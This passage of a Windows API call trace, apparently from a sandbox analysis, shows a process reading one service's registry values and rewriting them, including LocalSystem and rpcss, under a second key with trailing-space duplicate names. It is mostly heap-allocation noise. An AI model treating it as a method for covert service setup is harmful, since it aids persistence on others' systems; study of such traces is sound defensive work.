returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219de30) returned 1 [0224.599] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0224.599] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0224.599] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0224.599] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0224.599] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0224.599] RegQueryValueExA (in: hKey=0xc4, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0224.599] RegQueryValueExA (in: hKey=0xc4, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f42f8, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0224.600] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0224.600] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0224.600] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0224.600] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0224.600] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0224.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0224.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0224.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0224.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0224.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219ddd8) returned 1 [0224.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0224.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0224.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0224.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0224.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0224.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0224.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0224.601] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0224.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0224.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0224.601] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0224.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0224.601] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0224.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0224.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0224.601] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0224.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0224.601] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0224.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0224.602] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0224.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0224.602] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0224.602] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0224.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0224.602] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0224.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0224.602] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0224.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0224.602] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0224.602] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0224.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0224.602] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0224.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0224.602] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0224.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0224.603] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0224.603] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0224.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0224.603] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0224.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0224.603] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0224.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0224.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0224.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4778) returned 1 [0224.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0224.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5a8) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0224.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.604] RegQueryValueExA (in: hKey=0x150, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0224.604] RegQueryValueExA (in: hKey=0x150, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4190, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0224.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0224.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0224.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0224.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0224.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0224.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0224.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0224.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0224.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0224.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0224.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0224.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0224.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0224.605] RegQueryValueExA (in: hKey=0xc4, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0x6) returned 0x0 [0224.605] RegQueryValueExA (in: hKey=0xc4, lpValueName="DependOnService", lpReserved=0x0, lpType=0x36f454, lpData=0x21f42b0, lpcbData=0x36f45c*=0x6 | out: lpType=0x36f454*=0x1, lpData="rpcss", lpcbData=0x36f45c*=0x6) returned 0x0 [0224.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0224.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0224.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0224.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0224.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0224.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0224.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0224.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0224.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0224.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0224.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0224.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f47c0 [0224.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0224.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0224.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0224.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0224.606] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0224.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0224.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0224.606] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0224.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0224.606] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, 